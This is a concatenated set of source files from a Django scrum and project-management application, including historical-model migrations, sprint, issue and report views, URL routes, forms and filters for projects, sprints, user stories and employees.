'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalTask',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('category', models.IntegerField(blank=True, choices=[(1, 'Analysis'), (2, 'Development'), (3, 'Testing'), (4, 'Implementation')], default=1, null=True)),
('estimation', models.DecimalField(decimal_places=2, default=0.0, max_digits=15)),
('start_date', models.DateField(default=None)),
('end_date', models.DateField(blank=True, default=None, null=True)),
('priority', models.IntegerField(choices=[(1, 'Low'), (2, 'Medium'), (3, 'High')], default=3, null=True)),
('assign_date', models.DateField(blank=True, default=None, null=True)),
('approved_date', models.DateField(blank=True, default=None, null=True)),
('status', models.IntegerField(choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Partially Done'), (4, 'Done'), (5, 'Delivered'), (6, 'Not Done'), (7, 'Rejected')], default=1)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('approved_by', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
('assigned_by', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
('assignee', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('issue', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Issue')),
('parent_task', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Task')),
('project', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Project')),
('release', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Release')),
('responsible', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
('user_story', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.UserStory')),
],
options={
'verbose_name': 'historical task',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalSprint',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
('start_date', models.DateField(blank=True, default=None, null=True)),
('end_date', models.DateField(blank=True, default=None, null=True)),
('day_wise_label', models.TextField(blank=True, default='', null=True)),
('status', models.IntegerField(blank=True, choices=[(1, 'Pending'), (2, 'On Going'), (3, 'Completed')], default=1, null=True)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('department', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Department')),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Project')),
],
options={
'verbose_name': 'historical sprint',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalRelease',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('name', models.CharField(max_length=500)),
('description', models.TextField(blank=True, default='', null=True)),
('version', models.CharField(max_length=100, null=True)),
('release_date', models.DateField(default=None)),
('delivery_date', models.DateField(blank=True, default=None, null=True)),
('release_log', models.TextField(blank=True, default=None, null=True)),
('comment', models.TextField(blank=True, default='', null=True)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('approved_by', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)),
('created_by', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Project')),
],
options={
'verbose_name': 'historical release',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalProjectMember',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('role', models.IntegerField(choices=[(1, 'ProjectOwner'), (2, 'TeamLead'), (3, 'Developer')], default=3)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Project')),
('user', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
],
options={
'verbose_name': 'historical project member',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalProjectCommitLog',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('sha', models.CharField(db_index=True, max_length=256)),
('message', models.CharField(max_length=256)),
('date', models.DateTimeField()),
('author_name', models.CharField(max_length=128)),
('author_email', models.CharField(max_length=128)),
('url', models.URLField(max_length=128)),
('html_url', models.URLField(max_length=128)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Project')),
],
options={
'verbose_name': 'historical project commit log',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalProject',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('name', models.CharField(max_length=500)),
('description', models.TextField(default='')),
('type', models.IntegerField(choices=[(1, 'Public'), (2, 'Private'), (3, 'In House')], default=1)),
('status', models.IntegerField(choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Completed')], default=1)),
('entry_date', models.DateField(default=datetime.date.today, verbose_name='Entry Date')),
('git_username', models.CharField(blank=True, max_length=50, null=True, verbose_name='Github Username')),
('git_password', models.CharField(blank=True, max_length=50, null=True, verbose_name='Github Password')),
('git_repo', models.CharField(blank=True, max_length=100, null=True, verbose_name='Github Repo')),
('last_sync_time', models.DateTimeField(blank=True, null=True)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('client', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Client')),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name': 'historical project',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalOverTime',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('work_date', models.DateField(default=None)),
('description', models.TextField(default='')),
('comment', models.TextField(default='')),
('status', models.IntegerField(choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Done'), (4, 'Delivered'), (5, 'Rejected')], default=1)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('assigned_by', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)),
('assignee', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Project')),
],
options={
'verbose_name': 'historical over time',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalIssue',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
('raise_date', models.DateField(default=None)),
('resolve_date', models.DateField(blank=True, default=None, null=True)),
('comment', models.TextField(blank=True, default='', null=True)),
('status', models.IntegerField(choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Done'), (4, 'Delivered'), (5, 'Rejected')], default=1)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('approved_by', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Project')),
('raised_by', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
('user_story', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.UserStory')),
],
options={
'verbose_name': 'historical issue',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.CreateModel(
name='HistoricalDeliverable',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('description', models.TextField(blank=True, default='', null=True)),
('estimated_hour', models.DecimalField(blank=True, decimal_places=2, default=0.0, max_digits=15, null=True, verbose_name='Point')),
('actual_hour', models.DecimalField(blank=True, decimal_places=2, default=0.0, max_digits=15, null=True, verbose_name='Actual Point')),
('priority', models.IntegerField(blank=True, choices=[(1, 'Low'), (2, 'Medium'), (3, 'High')], default=3, null=True)),
('assign_date', models.DateField(blank=True, default=None, null=True)),
('release_date', models.DateField(blank=True, default=None, null=True)),
('status', models.IntegerField(blank=True, choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Done'), (4, 'Delivered'), (5, 'Rejected')], default=1, null=True)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('assignee', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Project')),
('sprint', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Sprint')),
('task', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Task')),
],
options={
'verbose_name': 'historical deliverable',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
]
<file_sep>/scrumate/core/migrations/0012_deliverable_actual_hour.py
# Generated by Django 2.2.1 on 2019-06-02 10:41
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0011_auto_20190531_1826'),
]
operations = [
migrations.AddField(
model_name='deliverable',
name='actual_hour',
field=models.DecimalField(blank=True, decimal_places=2, default=0.0, max_digits=15, null=True, verbose_name='Point'),
),
]
<file_sep>/scrumate/core/sprint/views.py
from django.conf import settings
from django.views.generic import DetailView
from django.contrib import messages
from django.contrib.auth.decorators import login_required, permission_required
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.shortcuts import render, reverse, redirect, get_object_or_404
from scrumate.core.deliverable.choices import DeliverableStatus
from scrumate.core.project.models import Project
from scrumate.core.sprint.filters import SprintFilter
from scrumate.core.sprint.forms import SprintForm
from scrumate.core.sprint.models import Sprint
from scrumate.core.deliverable.models import Deliverable
from scrumate.general.views import HistoryList
@login_required(login_url='/login/')
@permission_required('core.update_sprint_status', raise_exception=True)
def update_sprint_status(request, project_id, pk, **kwargs):
project = Project.objects.get(pk=project_id)
instance = get_object_or_404(Sprint, id=pk)
form = SprintForm(request.POST or None, instance=instance)
if request.POST:
status = request.POST.get('status')
instance.status = status
instance.save()
messages.success(request, f'Status updated for "{instance.name}" successfully!')
return redirect('sprint_list', project_id=project_id)
return render(request, 'includes/single_field.html', {
'field': form.visible_fields()[5],
'title': 'Update Status',
'url': reverse('sprint_list', kwargs={'project_id': project_id}),
'base_template': 'general/index_project_view.html',
'project': project
})
@login_required(login_url='/login/')
def sprint_list(request, project_id, **kwargs):
project = Project.objects.get(pk=project_id)
sprint_filter = SprintFilter(request.GET, queryset=Sprint.objects.all())
sprint_list = sprint_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(sprint_list, settings.PAGE_SIZE)
try:
sprints = paginator.page(page)
except PageNotAnInteger:
sprints = paginator.page(1)
except EmptyPage:
sprints = paginator.page(paginator.num_pages)
return render(request, 'core/sprint/sprint_list.html', {
'sprints': sprints, 'filter': sprint_filter, 'project': project
})
@login_required(login_url='/login/')
def sprint_add(request, project_id, **kwargs):
project = Project.objects.get(pk=project_id)
if request.method == 'POST':
form = SprintForm(request.POST)
if form.is_valid():
sprint = form.save(commit=False)
sprint.project = project
sprint.save()
messages.success(request, f'"{sprint.name}" added successfully!')
return redirect('sprint_list', permanent=True, project_id=project_id)
else:
messages.success(request, f'Invalid data!')
else:
form = SprintForm()
title = 'New Sprint'
return render(request, 'core/sprint/sprint_add.html', {
'form': form, 'title': title, 'list_url_name': 'sprint_list', 'project': project
})
@login_required(login_url='/login/')
def sprint_edit(request, project_id, pk, **kwargs):
project = Project.objects.get(pk=project_id)
instance = get_object_or_404(Sprint, id=pk)
form = SprintForm(request.POST or None, instance=instance)
if form.is_valid():
sprint = form.save()
messages.success(request, f'"{sprint.name}" updated successfully!')
return redirect('sprint_list')
else:
messages.error(request, f'Invalid data!')
title = 'Edit Sprint'
return render(request, 'core/sprint/sprint_add.html', {
'form': form, 'title': title, 'list_url_name': 'sprint_list', 'project': project
})
@login_required(login_url='/login/')
def sprint_view(request, project_id, pk, **kwargs):
project = Project.objects.get(pk=project_id)
sprint = Sprint.objects.get(pk=pk)
deliverable_qs = Deliverable.objects.filter(sprint=sprint)
pending = deliverable_qs.filter(status=DeliverableStatus.Pending)
in_progress = deliverable_qs.filter(status=DeliverableStatus.InProgress)
done = deliverable_qs.filter(status__in=[DeliverableStatus.Done, DeliverableStatus.Delivered])
return render(request, 'core/sprint/sprint_view.html', {
'pending': pending,
'in_progress': in_progress,
'done': done,
'running_sprint': sprint,
'project': project
})
class SprintHistoryList(HistoryList):
permission_required = 'scrumate.core.sprint_history'
def get_sprint_id(self):
return self.kwargs.get('pk')
def get_project_id(self):
return self.kwargs.get('project_id')
def get_queryset(self):
return Sprint.history.filter(id=self.get_sprint_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project = Project.objects.get(pk=self.get_project_id())
sprint = Sprint.objects.get(pk=self.get_sprint_id())
context['project'] = project
context['title'] = f'History of {sprint.name}'
context['back_url'] = reverse('sprint_list', kwargs={'project_id': self.get_project_id()})
context['base_template'] = 'general/index_project_view.html'
return context
class SprintDetailView(DetailView):
queryset = Sprint.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'department'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project_id = self.kwargs.get('project_id')
instance = self.get_object()
context['form'] = SprintForm(instance=instance)
context['edit_url'] = reverse('sprint_edit', kwargs={'project_id': project_id, 'pk': instance.pk})
context['list_url'] = reverse('sprint_list', kwargs={'project_id': project_id})
context['title'] = instance.name
context['project'] = Project.objects.get(pk=project_id)
context['base_template'] = 'general/index_project_view.html'
return context
<file_sep>/scrumate/core/daily_scrum/filters.py
import django_filters
from scrumate.core.deliverable.models import Deliverable
class DailyScrumFilter(django_filters.FilterSet):
class Meta:
model = Deliverable
fields = ['project', 'sprint', 'assignee']
<file_sep>/scrumate/core/user_story/urls.py
from django.urls import path
from scrumate.core.user_story import views
urlpatterns = [
path('', views.user_story_list, name='user_story_list'),
path('add/', views.user_story_add, name='user_story_add'),
path('<int:pk>/', views.UserStoryDetailView.as_view(), name='user_story_view'),
path('<int:pk>/edit/', views.user_story_edit, name='user_story_edit'),
path('<int:pk>/update_status/', views.update_user_story_status, name='update_user_story_status'),
path('<int:pk>/history/', views.UserStoryHistoryList.as_view(), name='user_story_history'),
]
<file_sep>/scrumate/core/user_story/models.py
from django.db import models
from simple_history.models import HistoricalRecords
from scrumate.core.project.models import Project
from scrumate.core.release.models import Release
from scrumate.core.user_story.choices import UserStoryStatus
from scrumate.people.models import Employee
class UserStory(models.Model):
project = models.ForeignKey(Project, on_delete=models.CASCADE, default=None)
release = models.ForeignKey(Release, on_delete=models.CASCADE, default=None)
summary = models.TextField(default='', verbose_name='Title')
details = models.TextField(default='', null=True, blank=True)
code = models.CharField(max_length=100, default='', null=True, blank=True)
start_date = models.DateField(default=None, null=True, blank=True)
end_date = models.DateField(default=None, null=True, blank=True)
description = models.TextField(default='', null=True, blank=True)
analysed_by = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, null=True, blank=True, related_name='analysed_user_stories')
approved_by = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, null=True, blank=True, related_name='approved_user_stories')
status = models.IntegerField(choices=UserStoryStatus.choices, default=UserStoryStatus.Pending, null=True, blank=True)
comment = models.TextField(default='', null=True, blank=True)
history = HistoricalRecords()
def __str__(self):
return self.summary
class Meta:
permissions = (
("update_user_story_status", "Can Update Status of User Story"),
("user_story_history", "Can See User Story History"),
)
<file_sep>/scrumate/core/sprint/urls.py
from django.urls import path
from scrumate.core.sprint import views
urlpatterns = [
path('', views.sprint_list, name='sprint_list'),
path('add/', views.sprint_add, name='sprint_add'),
path('<int:pk>/', views.SprintDetailView.as_view(), name='sprint_view'),
path('<int:pk>/edit/', views.sprint_edit, name='sprint_edit'),
path('<int:pk>/task_list/', views.sprint_view, name='sprint_task_list'),
path('<int:pk>/update_status/', views.update_sprint_status, name='update_sprint_status'),
path('<int:pk>/history/', views.SprintHistoryList.as_view(), name='sprint_history'),
]
<file_sep>/scrumate/people/forms.py
from datetime import datetime
from django.forms import ModelForm, Textarea, DateInput, HiddenInput, PasswordInput, TextInput
from django_select2.forms import ModelSelect2Widget, Select2Widget
from scrumate.people.models import Department, Designation, Employee, Client
from scrumate.people.choices import PartyTitle, PartyType, PartySubType, PartyGender
class DepartmentForm(ModelForm):
class Meta:
model = Department
fields = '__all__'
widgets = {
'description': Textarea(attrs={'cols': 25, 'rows': 3}),
}
class DesignationForm(ModelForm):
class Meta:
model = Designation
fields = '__all__'
exclude = ('rank', )
widgets = {
'description': Textarea(attrs={'cols': 25, 'rows': 3}),
'department': ModelSelect2Widget(model=Department, search_fields=['name__icontains']),
'parent': ModelSelect2Widget(model=Designation, search_fields=['name__icontains'],
dependent_fields={'department': 'department'}),
}
class EmployeeForm(ModelForm):
class Meta:
model = Employee
fields = ['title', 'full_name', 'first_name', 'last_name', 'nick_name', 'email', 'phone', 'gender', 'code', 'type',
'department', 'designation', 'username', 'password', 'address_line_1', 'address_line_2']
exclude = ('address_line_3', 'address_line_4', 'nick_name', 'code', 'title')
widgets = {
'full_name': HiddenInput(),
'password': PasswordInput(),
'title': Select2Widget(choices=PartyTitle.choices),
'type': Select2Widget(choices=PartyType.choices),
'gender': Select2Widget(choices=PartyGender.choices),
'department': ModelSelect2Widget(model=Department, search_fields=['name__icontains']),
'designation': ModelSelect2Widget(model=Designation, search_fields=['name__icontains'],
dependent_fields={'department': 'department'}),
}
def clean_full_name(self):
return self.data['first_name'] + ' ' + self.data['last_name']
class ClientForm(ModelForm):
class Meta:
model = Client
fields = ['title', 'full_name', 'first_name', 'last_name', 'nick_name', 'email', 'phone', 'code', 'type',
'sub_type', 'address_line_1', 'address_line_2']
exclude = ('address_line_3', 'address_line_4', 'nick_name', 'code', 'title')
widgets = {
'full_name': HiddenInput(),
'type': Select2Widget(choices=PartyType.choices),
'sub_type': Select2Widget(choices=PartySubType.choices),
}
def clean_full_name(self):
return self.data['first_name'] + ' ' + self.data['last_name']
<file_sep>/scrumate/people/urls.py
from django.urls import path
from scrumate.people import views
urlpatterns = [
# Accounts
path('profile/', views.profile, name='profile'),
path('change_password/', views.change_password, name='change_password'),
# Settings
path('department/', views.department_list, name='department_list'),
path('department/add/', views.department_add, name='department_add'),
path('department/<int:pk>/', views.DepartmentDetailView.as_view(), name='department_view'),
path('department/<int:pk>/edit/', views.department_edit, name='department_edit'),
path('department/<int:pk>/history/', views.DepartmentHistoryList.as_view(), name='department_history'),
path('designation/', views.designation_list, name='designation_list'),
path('designation/add/', views.designation_add, name='designation_add'),
path('designation/<int:pk>/', views.DesignationDetailView.as_view(), name='designation_view'),
path('designation/<int:pk>/edit/', views.designation_edit, name='designation_edit'),
path('designation/<int:pk>/history/', views.DesignationHistoryList.as_view(), name='designation_history'),
path('employee/', views.employee_list, name='employee_list'),
path('employee/add/', views.employee_add, name='employee_add'),
path('employee/<int:pk>/', views.EmployeeDetailView.as_view(), name='employee_view'),
path('employee/<int:pk>/edit/', views.employee_edit, name='employee_edit'),
path('employee/<int:pk>/history/', views.EmployeeHistoryList.as_view(), name='employee_history'),
path('client/', views.client_list, name='client_list'),
path('client/add/', views.client_add, name='client_add'),
path('client/<int:pk>/', views.ClientDetailView.as_view(), name='client_view'),
path('client/<int:pk>/edit/', views.client_edit, name='client_edit'),
path('client/<int:pk>/history/', views.ClientHistoryList.as_view(), name='client_history'),
]
<file_sep>/scrumate/core/urls.py
from django.urls import path, include
project_view_urlpatterns = [
path('release/', include('scrumate.core.release.urls'), name='release'),
path('user_story/', include('scrumate.core.user_story.urls'), name='user_story'),
path('task/', include('scrumate.core.task.urls'), name='task'),
path('deliverable/', include('scrumate.core.deliverable.urls'), name='deliverable'),
path('issue/', include('scrumate.core.issue.urls'), name='issue'),
path('sprint/', include('scrumate.core.sprint.urls'), name='sprint'),
path('member/', include('scrumate.core.member.urls'), name='member'),
]
urlpatterns = [
path('project/<int:project_id>/', include(project_view_urlpatterns), name='project_view'),
path('project/', include('scrumate.core.project.urls'), name='project'),
path('daily_scrum/', include('scrumate.core.daily_scrum.urls'), name='daily_scrum'),
path('report/', include('scrumate.core.report.urls'), name='report'),
]
<file_sep>/scrumate/core/deliverable/filters.py
import django_filters
from scrumate.core.deliverable.models import Deliverable
class DeliverableFilter(django_filters.FilterSet):
name = django_filters.CharFilter(lookup_expr='icontains', label='Name')
class Meta:
model = Deliverable
fields = ['name', 'sprint', 'assignee']
<file_sep>/scrumate/core/report/views.py
from django.contrib.auth.decorators import login_required, permission_required
from django.shortcuts import render
from scrumate.core.deliverable.models import Deliverable
from scrumate.core.project.models import Project
from scrumate.core.release.models import Release
from scrumate.core.sprint.filters import SprintStatusFilter
from scrumate.core.project.filters import ProjectStatusFilter
from scrumate.core.sprint.models import Sprint
from scrumate.general.pdf_render import PDFRender
@login_required(login_url='/login/')
@permission_required('core.sprint_status_report', raise_exception=True)
def sprint_status_report(request, **kwargs):
sprint_status_filter = SprintStatusFilter(request.GET, queryset=Deliverable.objects.all())
sprint_status_list = sprint_status_filter.qs
sprint = Sprint.objects.get(pk=request.GET.get('sprint')) if request.GET.get('sprint') else None
if not request.GET.get('sprint', False):
sprint_status_list = []
return render(request, 'core/sprint/sprint_status.html', {
'sprint_status': sprint_status_list,
'filter': sprint_status_filter,
'sprint': sprint
})
@login_required(login_url='/login/')
@permission_required('core.sprint_status_report_download', raise_exception=True)
def sprint_status_report_download(request, pk, **kwargs):
sprint_status_list = Deliverable.objects.filter(sprint_id=pk)
sprint = Sprint.objects.get(pk=pk)
return PDFRender.render('core/sprint/sprint_status_pdf.html', {
'sprint_status_list': sprint_status_list,
'sprint_name': sprint.name
})
@login_required(login_url='/login/')
@permission_required('core.project_status_report', raise_exception=True)
def project_status_report(request, **kwargs):
project_status_filter = ProjectStatusFilter(request.GET, queryset=Release.objects.all())
release_list = project_status_filter.qs
project = Project.objects.get(pk=request.GET.get('project')) if request.GET.get('project') else None
if not request.GET.get('project', False):
release_list = []
return render(request, 'core/projects/project_status.html', {
'release_list': release_list,
'filter': project_status_filter,
'project': project
})
@login_required(login_url='/login/')
@permission_required('core.project_status_report_download', raise_exception=True)
def project_status_report_download(request, project_id, **kwargs):
release_list = Release.objects.filter(project_id=project_id)
project = Project.objects.get(pk=project_id)
return PDFRender.render('core/projects/project_status_pdf.html', {
'release_list': release_list,
'project_name': project.name
})
<file_sep>/scrumate/core/issue/views.py
from django.conf import settings
from django.contrib import messages
from django.shortcuts import render, redirect, reverse, get_object_or_404
from django.contrib.auth.decorators import login_required, permission_required
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.views.generic import DetailView
from scrumate.core.issue.filters import IssueFilter
from scrumate.core.issue.models import Issue
from scrumate.core.issue.forms import IssueForm
from scrumate.core.project.models import Project
from scrumate.general.views import HistoryList
@login_required(login_url='/login/')
def issue_list(request, project_id, **kwargs):
issue_filter = IssueFilter(request.GET, queryset=Issue.objects.filter(project_id=project_id).order_by('-id'))
issue_list = issue_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(issue_list, settings.PAGE_SIZE)
try:
issues = paginator.page(page)
except PageNotAnInteger:
issues = paginator.page(1)
except EmptyPage:
issues = paginator.page(paginator.num_pages)
project = Project.objects.get(pk=project_id)
return render(request, 'core/issue_list.html', {'issues': issues, 'filter': issue_filter, 'project': project})
@login_required(login_url='/login/')
def issue_add(request, project_id, **kwargs):
if request.method == 'POST':
form = IssueForm(request.POST)
if form.is_valid():
issue = form.save(commit=False)
issue.project_id = project_id
issue.save()
messages.success(request, "Issue added successfully!")
return redirect('issue_list', permanent=True, project_id=project_id)
else:
form = IssueForm()
title = 'New Issue'
project = Project.objects.get(pk=project_id)
return render(request, 'core/common_add.html', {'form': form, 'title': title, 'list_url_name': 'issue_list', 'project': project})
@login_required(login_url='/login/')
def issue_edit(request, project_id, pk, **kwargs):
instance = get_object_or_404(Issue, id=pk)
form = IssueForm(request.POST or None, instance=instance)
if form.is_valid():
form.save()
messages.success(request, "Issue updated successfully!")
return redirect('issue_list', project_id=project_id)
title = 'Edit Issue'
project = Project.objects.get(pk=project_id)
